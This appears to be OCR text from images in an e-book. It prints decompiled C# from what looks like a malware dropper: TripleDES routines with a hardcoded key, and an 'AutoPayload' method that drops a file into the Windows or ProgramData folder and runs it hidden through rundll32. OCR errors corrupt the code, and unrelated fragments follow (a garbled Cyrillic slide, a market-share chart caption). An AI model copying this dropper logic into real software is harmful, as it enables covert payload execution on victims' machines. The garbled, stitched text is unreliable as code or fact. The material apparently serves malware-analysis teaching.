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public static byte[] Encrypt(byte[] data, byte[] IV)
{
byte[] numArray = new byte[24];
for (int index = 0; index < numArray.length; ++index)
numArray[index] = (byte) index;
if (data == null || data.Length <= @)
throw new ArgumentNullException("data”);

if (numArray == null || numArray.length
throw new ArgumentNullException("Key");

if (IV == null || IV.Length <= @)
throw new ArgumentNullException("Key");

using (TripleDESCryptoServiceProvider cryptoServiceProvider

0)

new TripleDESCryptoServiceProvider())

{
cryptoServiceProvider.lode = Ciphertode.CBC;
cryptoServiceProvider.Key = numArray;
cryptoServiceProvider.IV = IV;
ICryptoTransform encryptor = cryptoServiceProvider.CreateEncryptor(cryptoServiceProvider.Key, cryptoServiceProvider.Iv);
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamtlode.birite))
{
using (Binarylriter binaryiriter = new BinaryWriter((Stream) cryptoStream))
binaryhiriter.lrite(data);
return memoryStream. ToArray();
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public string AutoPayload(string name, byte[] data, string arguments)
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{

int milliseconds = ;
string strl = string.Empty;

string str2

AIL DUMP";

string path = string.Empty;
try

{

string environmentVariable = Environment.GetEnvironmentVariable("windir");
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
if (Istring.IsNullOrEmpty(environmentVariable))

{
path = Path.Combine(environmentVariable, name);
str2 = this.DumpData(path, data);
¥
if (IFile.Exists(path) & !string.IsNullOrEmpty(folderPath))
{
path = Path.Combine(folderPath, name);
str2 = this.DumpData(path, data);
}
if ("0K" == str2)
{

string str3 = Path.Combine(environmentVariable, "system32\\rund1132.exe");
Process processl = new Process();

Process process2 = processi;

ProcessStartInfo processStartInfol = new ProcessStartInfo();
processStartInfol.FileName = str3;

processStartInfol.UseShellExecute = false;
processStartInfol.RedirectStandardoutput = true;
processStartInfol.CreateNoWindow = true;

processStartInfol.Arguments = string.Format("\"{0}\",#1 {1}", (object) path, (object) arguments);
ProcessStartInfo processStartInfo2 = processStartInfol;
process2.StartInfo = processStartInfo2;
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61 public static byte[] Decrypt(byte[] data, byte[] IV)

62 {

63 byte[] numArrayl = new byte[24];

64 for (int index = 0; index < numArrayl.length; ++index)

65 numArrayl[index] = (byte) index;

66 if (data == null || data.Length <= @)

67 ‘throw new ArgumentNullException(“data”);

68 if (numArrayl null || numArrayl.length <= @)

69 ‘throw new ArgumentNullException("Key");

70 if (IV == null || IV.Length <= @)

7 ‘throw new ArgumentNullException("Key");

72 byte[] numArray2 = new byte[data.length];

73 using (TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider())
748 {

7 cryptoServiceProvider.Mode = Cipherfiode.CBC;

76 cryptoServiceProvider.Key = numArrayl;

77 cryptoServiceProvider.IV = Iv;

78 ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor(cryptoServiceProvider.Key, cryptoServiceProvider.IV);
79 using (MemoryStream memoryStream = new MemoryStream(data))

80 {

81 using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
828 {

83 using (BinaryReader binaryReader = new BinaryReader((Stream) cryptoStream))

84 return binaryReader.ReadBytes(numArray2.Length);

85 }

86 3}

87 | 3}

88 }

89 3}

9p |V





OEBPS/Images/4_Vidi Landscape 530.png
Panbie:

~Fovck wHpopMaLMA

~iposepka-A0CToBEpHOCHA

~Cocrasnenue oTeTon
Conocrasnenie AaHHbIX

“TpanaaKuuoHHbIe USAEPXKY

Celivac:
* Bce Aanhbie 8 OgHOl Cucreme
= Awanw Konepcii

" Towkast HacTpoiika npoeccos

= Mouck HoBIX Bo3MOXHOCTER

+ Tecruposanvie waeit





OEBPS/Images/chart-ww-smartphone-os-market-share.jpg
Worldwide Smartphone 0OS Market Share
(Share in Unit Shipments)

ssyye88yeed

—_—
& o & &
R A g g g

Source:0C, May 2017 ——Andold  ——i0S  ——WindowsPhone  ——Others






